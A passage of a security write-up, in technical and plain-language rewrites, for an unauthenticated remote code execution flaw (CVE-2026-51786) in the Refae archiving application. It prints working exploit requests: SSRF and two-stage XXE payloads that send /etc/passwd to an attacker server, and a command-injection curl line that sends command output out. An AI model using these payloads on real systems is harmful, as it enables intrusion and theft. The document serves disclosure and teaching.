Skip to content
RCE Write-up Intermediate

Unauthenticated Remote Code Execution in Refae - CVE-2026-51786

A debug endpoint in Refae accepted a class name and constructor arguments from the query string and passed them to a new expression, allowing unauthenticated attackers to instantiate arbitrary classes. By choosing classes with dangerous constructors, an attacker could achieve server-side request forgery, arbitrary file read, or remote code execution.

fenrisk.com

Published on fenrisk.com

An unauthenticated remote code execution vulnerability was identified in Refae <= 2.0.2.

The author, on fenrisk.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Refae is an open-source digital archiving reference tool (référentiel d'archivage) developed by Libriciel, a French company that has been publishing free-software solutions for public administrations and local authorities since 2006. The project was initiated and funded by Brest Métropole. The application digitises a records-management process aimed at archivists: it consolidates, in a single table, the management metadata and the retention lifecycle of the documents produced or received by a department. It is typically deployed alongside other Libriciel products such as asalae, versae or pastell.

Refae is distributed under the GNU AGPL v3, and the vendor's prerequisites document recommends deploying it on Docker CE on top of RHEL 8 or Ubuntu 22.04, with each service running in its own container. No figure is published for Refae's adoption specifically; Libriciel states that it works with more than 1,000 local authorities and public bodies across its product range, which gives an upper bound on the potential installation base rather than a count of live instances.

Context

An unauthenticated remote code execution vulnerability was identified in Refae <= 2.0.2. A debug endpoint left in the production routing table, /public/test-error/throw, takes a fully attacker-controlled class name and constructor arguments and passes them to a new expression. This gives any remote, unauthenticated user an arbitrary object instantiation primitive (CWE-470), which can be turned into command execution by selecting a class whose constructor reaches a system call.

In a default Symfony-based deployment, the class Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler is shipped by the symfony/intl dependency, and its constructor concatenates its first argument into a shell command without sanitisation.

The same primitive yields more than code execution: depending on the class selected, it also gives server-side request forgery and arbitrary file read via XML external entities. Exploitation requires a single GET request, no authentication and no user interaction. The vulnerability was fixed in version 2.0.3; the 1.x branch is not affected.

Setup

The proof of concept requires an instance of Refae in a 2.x version up to and including 2.0.2.

For the out-of-band proofs, the researcher used a collection server running python -m http.server 8000 on [redacted], with the Refae host calling back as [redacted]. The examples assume the host serving the Refae web front-end is fenrisk.lab. In each case the response from fenrisk.lab is a generic application error (the throw always fires) and the output is never reflected, so the proof is the callback recorded by the collection server.

Finding it

The flaw lies in src/Controller/Public/TestErrorController.php, in the throwException method (lines 40-47):

PHP
#[Route('/public/test-error/throw', name: 'public_test_error_throw')]
public function throwException(
    Request $request,
): void {
    $classname = $request->get('classname');
    $params = $request->get('params', []);
    throw new $classname(...$params);
}

The controller reads two request parameters, classname and params, and uses them directly as the class name and the argument list of a new expression. The endpoint appears to be a debugging artifact: the route name, the controller namespace and the absence of any return value all point to a helper meant to let developers trigger arbitrary exception types and observe how the application's error handling and monitoring react to them. Whatever its original purpose, it was never removed from the production route table.

Assuming the host serving the Refae web front-end is fenrisk.lab, the endpoint maps request parameters onto a constructor call as follows:

Text
http://fenrisk.lab/public/test-error/throw?classname=CLASSNAME&params[0]=x&params[...]=...&params[n]=z

which is equivalent to:

PHP
new CLASSNAME(x, ..., z);

This is an arbitrary object instantiation primitive: an unconstrained new whose class name and arguments both come from the query string. By itself it does nothing. The impact depends on the class picked, and a usable one has to satisfy three conditions:

  1. Reachable by the autoloader, with no application context to set up. That leaves PHP's own classes, built into the engine and its extensions, and every non-native class the running application can load by name.
  2. Scalar arguments only: request parameters are strings and arrays, so no object can be passed to the constructor.
  3. A side effect worth something to an attacker: a network request, a file access or a system call.

What the researcher was looking for was therefore not a class in itself but a constructor whose side effects are useful to an attacker: command execution, a file read, an outbound request. Refae is a Symfony application, so the search space is wide: PHP's built-in classes on one side, every non-native class the application can load by name on the other. The search began with the built-in ones, because a class that ships with the language satisfies the first condition everywhere, whatever the application has installed. The experiments therefore started with SimpleXMLElement, and it alone gave two of the three impacts.

Exploitation

All three primitives go through the same /public/test-error/throw endpoint; only classname and params change.

error
error From the original on fenrisk.com

The screenshot shows the response of Refae's website when sending requests to the /public/test-error/throw endpoint.

Step 1: SSRF with SimpleXMLElement

SimpleXMLElement's constructor is declared as:

PHP
public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

The first argument is normally the XML to parse. The third one, dataIsURL, changes what the first means: set it to true and $data is no longer treated as an XML string but as a URL that PHP fetches before it parses anything. That fetch is the whole point. It happens before parsing, so it fires whether or not the response is valid XML.

Mapping this onto the endpoint, the class name is passed as classname, the URL as the first parameter, 0 for the options, and 1 for dataIsURL:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://<IP>&params[1]=0&params[2]=1

which is equivalent to:

PHP
new SimpleXMLElement('http://<IP>', 0, true);

With the collection server in place, the request is:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://[redacted]:8000&params[1]=0&params[2]=1
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=SimpleXMLElement' \
  --data-urlencode 'params[0]=http://[redacted]:8000' \
  --data-urlencode 'params[1]=0' \
  --data-urlencode 'params[2]=1'

Instantiating SimpleXMLElement with dataIsURL set to true fetches the URL before any parsing, so a single outbound request is enough to prove the primitive. The collection-server log shows the callback:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:30:53] "GET / HTTP/1.1" 200 -

Step 2: XXE with the same class

The same class gives considerably more for almost nothing extra. The class name stays SimpleXMLElement, the options change from 0 to LIBXML_NOENT (value 2, which tells libxml to substitute entities during parsing), and the URL points at an XML document the attacker controls. Everything else about the call is the structure used for the SSRF. The parser misconfiguration here comes from the attacker: an XXE normally depends on an application having set up its parser carelessly, whereas here the attacker hands libxml exactly the flag needed.

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://<IP>/stage1.xml&params[1]=2&params[2]=1

which is equivalent to:

PHP
new SimpleXMLElement('http://<IP>/stage1.xml', 2, true);

dataIsURL is still true, so the server fetches stage1.xml from a host the attacker controls and parses it with entity substitution on. From there it is a classic out-of-band exfiltration chain. The two documents hosted on the collection server are:

stage1.xml

XML
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://<IP>/stage2.xml"> %BAR; %exfile; %out;]>

stage2.xml

XML
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY &#37; out SYSTEM 'http://<IP>/%read;'>">

The internal subset of stage1.xml pulls in a second-stage DTD from the attacker's server as the parameter entity %BAR. That second stage does the work: %read reads /etc/passwd through a php://filter chain that deflates and base64-encodes it into a single URL-safe token, and %exfile builds the %out entity that ships that token back as a path on <IP>.

The chain relies on two details. The php://filter wrapper is what turns a multi-line file full of characters that would break a URL into one clean token that can be dropped into the %out request. And the second stage has to be external because XML forbids expanding a parameter entity inside a markup declaration of the same internal subset; hosting the declaration of %out in a DTD served by the attacker sidesteps that restriction.

With the concrete addresses, the request is:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://[redacted]:8000/stage1.xml&params[1]=2&params[2]=1
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=SimpleXMLElement' \
  --data-urlencode 'params[0]=http://[redacted]:8000/stage1.xml' \
  --data-urlencode 'params[1]=2' \
  --data-urlencode 'params[2]=1'

Hosted on the collection server:

stage1.xml

XML
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://[redacted]:8000/stage2.xml"> %BAR; %exfile; %out;]>

stage2.xml

XML
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY &#37; out SYSTEM 'http://[redacted]:8000/%read;'>">

The collection-server log shows the two DTD fetches and the exfiltration request:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:35:02] "GET /stage1.xml HTTP/1.1" 200 -
[redacted] - - [05/Oct/2026 11:35:02] "GET /stage2.xml HTTP/1.1" 200 -
[redacted] - - [05/Oct/2026 11:35:02] "GET /<PASSWD_BASE64> HTTP/1.1" 404 -

To recover the <PASSWD_BASE64> token from the exfil request it has to be decoded. The php://filter chain deflates before base64, so the raw stream has to be inflated after decoding:

Bash
echo '<PASSWD_BASE64>' | base64 -d | python -c 'import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read(), -15))'

Step 3: RCE with GenrbCompiler

Requests and reads are as far as SimpleXMLElement goes. For command execution the first two conditions stay and the third tightens: the constructor now has to reach a system call. PHP's own classes do not offer that, so the search turned to the ones the application loads itself.

Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler fits. It comes from symfony/intl, a transitive dependency present in a default install, and its constructor is:

PHP
public function __construct(string $genrb = 'genrb', string $envVars = '')
{
    exec('which '.$genrb, $output, $status);

    if (0 !== $status) {
        throw new RuntimeException(sprintf('The command "%s" is not installed.', $genrb));
    }

    $this->genrb = ($envVars ? $envVars.' ' : '').$genrb;
}

It checks that the genrb binary is available by concatenating the supplied path into a which invocation and passing the result to exec(). The value is never escaped, so a first argument beginning with ; closes the which command and starts a new one:

PHP
new GenrbCompiler(';id'); // executes: which ;id

The injection is reached in the constructor itself. The second argument, $envVars, is concatenated into $this->genrb with the same lack of escaping and would offer a further injection point, but it is unnecessary here since the first argument already yields execution. The constructor is unchanged across every symfony/intl release the constraint allows (^6.4 || ^7.0 || ^8.0), and it was verified on 6.4, 7.x and 8.0, so the only thing left to establish per instance is the exact version resolved in Refae's composer.lock.

In the PoC, the first argument starts with ; and appends a second command that exfiltrates the output of id out of band:

Text
http://fenrisk.lab/public/test-error/throw?classname=Symfony%5CComponent%5CIntl%5CData%5CBundle%5CCompiler%5CGenrbCompiler&params%5B0%5D=%3Bcurl%20-s%20%22http://[redacted]:8000/rce/%24(id%20%7C%20base64%20-w0)%22
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler' \
  --data-urlencode 'params[0]=;curl -s "http://[redacted]:8000/rce/$(id | base64 -w0)"'

The collection-server log records the callback carrying the encoded command output:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:52:47] "GET /rce/<ID_BASE64> HTTP/1.1" 404 -

Then decode the <ID_BASE64> token to read the command output:

Bash
echo '<ID_BASE64>' | base64 -d

Root cause

The mistake is the endpoint itself. TestErrorController::throwException takes classname and params straight from the request and feeds them to new $classname(...$params). The route was never removed from the production route table, and the endpoint is reachable without authentication.

Three kinds of vulnerability that are normally found and reported separately (server-side request forgery, arbitrary file read, remote command execution) are reachable here through one primitive and one unauthenticated GET request, by changing nothing but the value of classname. Class instantiation exposes the whole execution context: every constructor the autoloader can reach becomes a potential gadget, and SSRF, file read and RCE are just the ones that were picked. SimpleXMLElement and GenrbCompiler are simply what the three conditions returned first, and the search stopped once one of them gave command execution. The choice of gadget is an exploitation detail; the fix is not to harden any single class but to remove the endpoint that reaches them freely.

Impact

An unauthenticated remote attacker can execute arbitrary commands on the machine hosting the Refae web component, with the privileges of the PHP process.

The same endpoint yields lesser impacts through other classes: server-side request forgery lets the attacker reach services on the internal network that are not exposed publicly, and arbitrary file read exposes any file accessible to the PHP process. /etc/passwd is only the easiest thing to prove it with; configuration files and secrets are the real target. Both are subsumed by the command execution and do not raise the overall severity.

In the vendor's recommended architecture, the process runs inside a container dedicated to the web service. The immediate compromise is therefore the container: application source, configuration files, environment variables, and any credentials they contain, which typically include the database connection string and the secrets used to reach the other components of the Libriciel suite.

The CVSS 3.1 base score is 9.8 (Critical), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Scope is rated Unchanged: code execution is obtained within the security authority the web process already belonged to. Reaching the database container, the other suite components, or the host itself requires further exploitation.

Fix

None of these impacts can be addressed at the level of a single gadget. Removing GenrbCompiler or restricting SimpleXMLElement would only close the specific paths described; the endpoint would still hand an unauthenticated caller an unconstrained new, and any other reachable constructor would remain a candidate. The vulnerability is the endpoint itself, and the fix has to deny access to it.

Upgrade Refae to version 2.0.3 or later, which removes the endpoint. If upgrading is not immediately possible, block access to /public/test-error/throw at the reverse proxy or WAF level. The endpoint has no functional purpose in production and can be denied outright without affecting the application.

The disclosure timeline was as follows:

Date Event
2026-06-02 Vulnerability reported to Libriciel
2026-06-05 CVE request submitted
2026-06-05 Release of Refae 2.0.3 fixing the issue
2026-07-08 CVE-2026-51786 assigned by MITRE
2026-11-27 Public disclosure
  • Other PHP built-in classes with URL or file arguments. The same endpoint accepts any autoloadable class, so constructors that fetch a URL or open a file are worth trying. A positive result is an outbound request or a file access visible on a collection server or in the application's behaviour.
  • Other application dependencies with shell-reaching constructors. The GenrbCompiler case shows that a transitive dependency is enough. Grep the dependency tree for constructors that pass a string argument to exec, shell_exec, system or popen without escaping; a positive result is a callback carrying command output.
  • The $envVars argument of GenrbCompiler. The report notes it is concatenated into $this->genrb with the same lack of escaping and would offer a further injection point. A positive result is the same kind of out-of-band callback, reached through the second parameter instead of the first.
  • Other debug or test routes in Symfony applications. Routes named after test or error helpers, registered under a public prefix, are the pattern here. A positive result is a route that accepts a class name, a callback, a template path or a similar selector from the request.

This kind of bug tends to hide in debug and test scaffolding that ships with production code: controllers whose names mention errors, tests or debugging, routes registered under a public or unauthenticated prefix, and endpoints that exist to exercise error handling or monitoring. During recon, the signals are route names and controller namespaces that look like developer helpers, and endpoints that take a class name, a method name or a callback as a parameter. The report's own reasoning is a useful checklist for triage: does the selected class load without application context, can it be constructed from scalar strings and arrays only, and does its constructor produce a network request, a file access or a system call.

For impact, the researcher did not rely on reflected output: the endpoint always throws and returns a generic error, so the proof was the out-of-band callback recorded by a collection server, with the Refae host calling back as a distinct address. The SSRF, the two-stage XXE exfiltration of /etc/passwd and the RCE callback carrying id output each produced a log line on that server, which is the evidence a program needs to accept the report.

From the original on fenrisk.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 33 min read.

What happened, in plain words

Refae is a piece of software used by archivists, the people whose job is to keep records in order and decide how long each document must be kept. It is open source, which means its source code is public and anyone can read it, and it is developed by Libriciel, a French company that has been publishing free-software solutions for public administrations and local authorities since 2006. The project was initiated and funded by Brest Métropole. Refae digitises a records-management process: it consolidates, in a single table, the management metadata and the retention lifecycle of the documents produced or received by a department. It is typically deployed alongside other Libriciel products such as asalae, versae or pastell.

Refae is distributed under the GNU AGPL v3, and the vendor's prerequisites document recommends deploying it on Docker CE on top of RHEL 8 or Ubuntu 22.04, with each service running in its own container. No figure is published for Refae's adoption specifically; Libriciel states that it works with more than 1,000 local authorities and public bodies across its product range, which gives an upper bound on the potential installation base rather than a count of live instances.

A security researcher found that Refae up to and including 2.0.2 contains a debug endpoint left in the production routing table. That page lets anyone on the internet, without any account or password, ask the server to create any kind of internal object it knows about, and to pass that object whatever values the visitor chooses. By picking the right object, the visitor can make the server run commands of their choosing. This is called remote code execution, or RCE: the attacker's code runs on someone else's machine, over the network, from a distance.

The same page also allows two lesser but still serious things: making the server fetch a web address of the attacker's choosing (server-side request forgery, SSRF) and reading files on the server (arbitrary file read). All of it needs a single ordinary web request, the same kind your browser sends when you open a page, and no interaction from any user.

The problem was fixed in version 2.0.3. The 1.x branch is not affected.

Context

An unauthenticated remote code execution vulnerability was identified in Refae <= 2.0.2. A debug endpoint left in the production routing table, /public/test-error/throw, takes a fully attacker-controlled class name and constructor arguments and passes them to a new expression. This gives any remote, unauthenticated user an arbitrary object instantiation primitive (CWE-470), which can be turned into command execution by selecting a class whose constructor reaches a system call.

In a default Symfony-based deployment, the class Symfony\Component\Intl\Data\Bundle\Compiler\GenrbCompiler is shipped by the symfony/intl dependency, and its constructor concatenates its first argument into a shell command without sanitisation.

The same primitive yields more than code execution: depending on the class selected, it also gives server-side request forgery and arbitrary file read via XML external entities. Exploitation requires a single GET request, no authentication and no user interaction. The vulnerability was fixed in version 2.0.3; the 1.x branch is not affected.

A few of those words deserve a plain explanation before we go further.

  • Endpoint: a specific address on a website that does a specific job, like a service counter in a building. You go to the counter for passports, not the one for driving licences. On the web, the address is the part of the URL after the site name, here /public/test-error/throw.
  • Debug endpoint: a counter that was opened while the building was being built, to help the builders test things, and that should have been closed before the public was let in.
  • Class: in programming, a class is a blueprint for an object. Think of a recipe: the recipe itself is not a cake, but it tells you how to make one. When a program creates an object from a class, we say it instantiates it, and the code that runs at that moment is called the constructor.
  • new expression: the instruction in the PHP programming language that says "create an object from this class, using these values".
  • GET request: the simplest kind of web request, the one your browser sends when you type an address and press Enter. Everything the server needs is in the URL itself.
  • Unauthenticated: without logging in. No account, no password, no session.
  • CWE-470: a catalogue entry for a family of bugs where the program lets outside input choose which class or code it runs. CWE stands for Common Weakness Enumeration, a shared dictionary of bug types.

Setup

The proof of concept requires an instance of Refae in a 2.x version up to and including 2.0.2.

For the out-of-band proofs, the researcher used a collection server running python -m http.server 8000 on [redacted], with the Refae host calling back as [redacted]. The examples assume the host serving the Refae web front-end is fenrisk.lab. In each case the response from fenrisk.lab is a generic application error (the throw always fires) and the output is never reflected, so the proof is the callback recorded by the collection server.

What is a collection server? It is a machine the researcher controls, listening for incoming connections, whose only job is to write down who contacted it and when. The command python -m http.server 8000 starts a tiny web server on port 8000 using Python, which is already installed on most systems. Port 8000 is just a numbered door on the machine; the default door for websites is 80, and 8000 is a common choice for a temporary test server.

Why is this needed? Because the vulnerable page never shows the result of what it does. It always ends with an error message, the same generic one every time. So the researcher cannot read the answer on the page. Instead, the trick is to make the Refae server call out to the collection server. If the collection server's log shows a call coming from the Refae machine, that proves the Refae machine really did what was asked. This technique is called out-of-band: the evidence travels on a separate channel, not in the response to the attacker.

Finding it

The flaw lies in src/Controller/Public/TestErrorController.php, in the throwException method (lines 40-47):

PHP
#[Route('/public/test-error/throw', name: 'public_test_error_throw')]
public function throwException(
    Request $request,
): void {
    $classname = $request->get('classname');
    $params = $request->get('params', []);
    throw new $classname(...$params);
}

Line by line:

  1. #[Route('/public/test-error/throw', name: 'public_test_error_throw')] attaches this piece of code to a web address. Anyone who visits /public/test-error/throw on the site will run the function below. The name part is just an internal label.
  2. public function throwException( starts the function, named throwException, which is a strong hint about its purpose: throw an exception, meaning deliberately trigger an error.
  3. Request $request, means the function receives the incoming web request, with all its parameters, as an object called $request.
  4. ): void { says the function returns nothing at all.
  5. $classname = $request->get('classname'); reads a value named classname from the URL and stores it in a variable. Whatever the visitor typed there is kept as-is.
  6. $params = $request->get('params', []); reads a value named params from the URL. The [] means: if there is no such value, use an empty list instead.
  7. throw new $classname(...$params); is the dangerous line. It creates a new object from the class named in $classname, passing the values in $params to its constructor, and then throws it as an error. The ... means "spread these values out as separate arguments".

The controller reads two request parameters, classname and params, and uses them directly as the class name and the argument list of a new expression. The endpoint appears to be a debugging artifact: the route name, the controller namespace and the absence of any return value all point to a helper meant to let developers trigger arbitrary exception types and observe how the application's error handling and monitoring react to them. Whatever its original purpose, it was never removed from the production route table.

Assuming the host serving the Refae web front-end is fenrisk.lab, the endpoint maps request parameters onto a constructor call as follows:

Text
http://fenrisk.lab/public/test-error/throw?classname=CLASSNAME&params[0]=x&params[...]=...&params[n]=z

which is equivalent to:

PHP
new CLASSNAME(x, ..., z);

In the URL, everything after the ? is a list of parameters, written name=value and separated by &. So classname=CLASSNAME sets the class name, and params[0]=x sets the first argument, params[1] the second, and so on. The square brackets are how PHP represents a list inside a URL. The two blocks say the same thing in two languages: the URL is the request, the PHP line is what the server ends up doing.

This is an arbitrary object instantiation primitive: an unconstrained new whose class name and arguments both come from the query string. By itself it does nothing. The impact depends on the class picked, and a usable one has to satisfy three conditions:

  1. Reachable by the autoloader, with no application context to set up. That leaves PHP's own classes, built into the engine and its extensions, and every non-native class the running application can load by name.
  2. Scalar arguments only: request parameters are strings and arrays, so no object can be passed to the constructor.
  3. A side effect worth something to an attacker: a network request, a file access or a system call.

A quick word on each condition. The autoloader is the part of PHP that, when a class is mentioned, goes and finds its definition and loads it. If the class is not installed on the machine, the autoloader fails and nothing happens. Scalar means a simple value: a piece of text, a number, true or false. A URL can only carry text, so you cannot hand the constructor a ready-made object, only text. And a side effect is anything the constructor does to the outside world beyond filling in its own fields: contacting another machine, opening a file, running a program.

What the researcher was looking for was therefore not a class in itself but a constructor whose side effects are useful to an attacker: command execution, a file read, an outbound request. Refae is a Symfony application, so the search space is wide: PHP's built-in classes on one side, every non-native class the application can load by name on the other. The search began with the built-in ones, because a class that ships with the language satisfies the first condition everywhere, whatever the application has installed. The experiments therefore started with SimpleXMLElement, and it alone gave two of the three impacts.

Symfony is a framework: a large collection of ready-made code that many PHP applications are built on, a bit like a prefabricated house kit. Because Refae uses it, a lot of code comes along with the application, and each piece of that code is a potential class to try.

Exploitation

All three primitives go through the same /public/test-error/throw endpoint; only classname and params change.

error
error From the original on fenrisk.com

The screenshot shows the response of Refae's website when sending requests to the /public/test-error/throw endpoint.

Step 1: SSRF with SimpleXMLElement

SimpleXMLElement's constructor is declared as:

PHP
public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

This is the recipe for creating a SimpleXMLElement, a built-in PHP class whose job is to read XML. XML is a text format for structured data, a bit like a form with labelled boxes, and it is widely used to exchange data between systems.

Line by line:

  1. string $data is the first ingredient: a piece of text, normally the XML itself.
  2. int $options = 0 is a number that switches parsing options on and off. 0 means no special option.
  3. bool $dataIsURL = false is a true/false switch. When it is false, the first ingredient is read as XML text. When it is true, the first ingredient is treated as a web address, and PHP goes and fetches it.
  4. string $namespaceOrPrefix = "" and bool $isPrefix = false are two more settings for XML namespaces, a way of avoiding name clashes between tags. They are not used in this attack.

The first argument is normally the XML to parse. The third one, dataIsURL, changes what the first means: set it to true and $data is no longer treated as an XML string but as a URL that PHP fetches before it parses anything. That fetch is the whole point. It happens before parsing, so it fires whether or not the response is valid XML.

Mapping this onto the endpoint, the class name is passed as classname, the URL as the first parameter, 0 for the options, and 1 for dataIsURL:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://<IP>&params[1]=0&params[2]=1

which is equivalent to:

PHP
new SimpleXMLElement('http://<IP>', 0, true);

In the URL, params[0] is the first argument (the address to fetch), params[1] is the second (the options, 0), and params[2] is the third (1, meaning true, so treat the first argument as a URL). The PHP line shows the same three values in order. <IP> is a placeholder for the address of the machine the attacker wants the server to contact.

With the collection server in place, the request is:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://[redacted]:8000&params[1]=0&params[2]=1
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=SimpleXMLElement' \
  --data-urlencode 'params[0]=http://[redacted]:8000' \
  --data-urlencode 'params[1]=0' \
  --data-urlencode 'params[2]=1'

The first block is the same request written as a URL, which you could paste into a browser. The second block does the same thing with curl, a command-line tool for sending web requests. Line by line:

  1. curl -G 'http://fenrisk.lab/public/test-error/throw' \ starts a request to that address. -G tells curl to put the following values into the URL as parameters rather than into the body of the request. The backslash at the end means the command continues on the next line.
  2. --data-urlencode 'classname=SimpleXMLElement' adds the parameter classname with the value SimpleXMLElement. --data-urlencode means: encode any special characters so the URL stays valid.
  3. --data-urlencode 'params[0]=http://[redacted]:8000' adds the first constructor argument: the address of the collection server.
  4. --data-urlencode 'params[1]=0' adds the second argument: no special parsing option.
  5. --data-urlencode 'params[2]=1' adds the third argument: true, so fetch the address.

Instantiating SimpleXMLElement with dataIsURL set to true fetches the URL before any parsing, so a single outbound request is enough to prove the primitive. The collection-server log shows the callback:

Text
Serving HTTP on [redacted] port 8000 (http://[redacted]:8000/) ...
[redacted] - - [05/Oct/2026 11:30:53] "GET / HTTP/1.1" 200 -

Line by line:

  1. Serving HTTP on [redacted] port 8000 is the collection server announcing that it is listening on port 8000. [redacted] means "all network interfaces", so it accepts connections from anywhere.
  2. [redacted] - - [05/Oct/2026 11:30:53] "GET / HTTP/1.1" 200 - is one log entry. [redacted] is the address of the machine that connected, here the Refae host. The date and time follow. "GET / HTTP/1.1" is the request that was made: a GET request for the root path /. 200 is the HTTP status code meaning "OK".

That single line is the proof: the Refae server, which should never have contacted the researcher's machine, did contact it. This is SSRF, server-side request forgery: the attacker makes the server send a request on their behalf, to a destination of their choosing.

Step 2: XXE with the same class

The same class gives considerably more for almost nothing extra. The class name stays SimpleXMLElement, the options change from 0 to LIBXML_NOENT (value 2, which tells libxml to substitute entities during parsing), and the URL points at an XML document the attacker controls. Everything else about the call is the structure used for the SSRF. The parser misconfiguration here comes from the attacker: an XXE normally depends on an application having set up its parser carelessly, whereas here the attacker hands libxml exactly the flag needed.

Two new terms. libxml is the library, a reusable block of code, that PHP uses under the hood to read XML. Entity is an XML feature: a named placeholder that stands for some content, a bit like a variable in a text. Normally, when the parser meets an entity, it leaves the name in place. With entity substitution switched on, it replaces the name with the content. That is what LIBXML_NOENT does, and NOENT is short for "no entities", meaning "do not leave entity names alone, expand them".

XXE stands for XML External Entity: an attack where the attacker gets the XML parser to fetch and expand an entity that points at something it should not touch, such as a file on the server. Usually the attacker has to hope the application configured its parser carelessly. Here, the attacker chooses the configuration themselves, because the vulnerable page lets them pass the option.

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://<IP>/stage1.xml&params[1]=2&params[2]=1

which is equivalent to:

PHP
new SimpleXMLElement('http://<IP>/stage1.xml', 2, true);

Compared with the SSRF request, only two things changed: the address now ends in /stage1.xml, a file the attacker will host, and the second argument is 2 instead of 0. The third argument is still 1, so the server still fetches the address. The difference is that the fetched content is now parsed with entity substitution on.

dataIsURL is still true, so the server fetches stage1.xml from a host the attacker controls and parses it with entity substitution on. From there it is a classic out-of-band exfiltration chain. The two documents hosted on the collection server are:

stage1.xml

XML
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://<IP>/stage2.xml"> %BAR; %exfile; %out;]>

stage2.xml

XML
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY &#37; out SYSTEM 'http://<IP>/%read;'>">

These two files are the heart of the attack, so let us take them slowly.

In stage1.xml:

  1. <?xml version="1.0"?> is the standard opening line of any XML document, saying which version of the format is used.
  2. <!DOCTYPE FOO [ starts the definition of a document type, a section where entities can be declared. FOO is just a name.
  3. <!ENTITY % BAR SYSTEM "http://<IP>/stage2.xml"> declares an entity called BAR. The % means it is a parameter entity, one used inside the document type definition itself rather than in the body of the document. SYSTEM means its content comes from outside, and the address says where: the attacker's second file.
  4. %BAR; uses that entity, which makes the parser go and fetch stage2.xml.
  5. %exfile; and %out; use two more entities, which will be defined by that second file.
  6. ]> closes the document type definition.

In stage2.xml:

  1. <!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> declares an entity called read whose content is not a web address but a special PHP address. php://filter is a PHP feature that reads something and passes it through filters. Here the filters are zlib.deflate, which compresses the data, and convert.base64-encode, which turns it into base64, a way of writing any bytes using only letters, digits and a few symbols so they can travel safely in a URL. resource=/etc/passwd says what to read: /etc/passwd, a standard file on Linux systems that lists user accounts.
  2. <!ENTITY % exfile "<!ENTITY &#37; out SYSTEM 'http://<IP>/%read;'>"> declares an entity called exfile whose content is itself the declaration of another entity, out. &#37; is the encoded form of the % sign, needed because we are writing a declaration inside a declaration. The out entity points at the attacker's server, with the content of read appended to the path.

The internal subset of stage1.xml pulls in a second-stage DTD from the attacker's server as the parameter entity %BAR. That second stage does the work: %read reads /etc/passwd through a php://filter chain that deflates and base64-encodes it into a single URL-safe token, and %exfile builds the %out entity that ships that token back as a path on <IP>.

A DTD is a Document Type Definition: the part of an XML document that declares entities and rules. The chain relies on two details. The php://filter wrapper is what turns a multi-line file full of characters that would break a URL into one clean token that can be dropped into the %out request. And the second stage has to be external because XML forbids expanding a parameter entity inside a markup declaration of the same internal subset; hosting the declaration of %out in a DTD served by the attacker sidesteps that restriction.

With the concrete addresses, the request is:

Text
http://fenrisk.lab/public/test-error/throw?classname=SimpleXMLElement&params[0]=http://[redacted]:8000/stage1.xml&params[1]=2&params[2]=1
Bash
curl -G 'http://fenrisk.lab/public/test-error/throw' \
  --data-urlencode 'classname=SimpleXMLElement' \
  --data-urlencode 'params[0]=http://[redacted]:8000/stage1.xml' \
  --data-urlencode 'params[1]=2' \
  --data-urlencode 'params[2]=1'

The URL block is the request as you would type it in a browser. The curl block sends the same thing from a terminal:

  1. curl -G 'http://fenrisk.lab/public/test-error/throw' \ targets the vulnerable page and puts the following values in the URL.
  2. --data-urlencode 'classname=SimpleXMLElement' chooses the class.
  3. --data-urlencode 'params[0]=http://[redacted]:8000/stage1.xml' points the first argument at the attacker's first XML file.
  4. --data-urlencode 'params[1]=2' switches on entity substitution.
  5. --data-urlencode 'params[2]=1' says the first argument is a URL to fetch.

Hosted on the collection server:

stage1.xml

XML
<?xml version="1.0"?> <!DOCTYPE FOO [<!ENTITY % BAR SYSTEM "http://[redacted]:8000/stage2.xml"> %BAR; %exfile; %out;]>

stage2.xml

XML
<!ENTITY % read SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % exfile "<!ENTITY &#37; out SYSTEM 'http://[redacted]:8000/%read;'>">

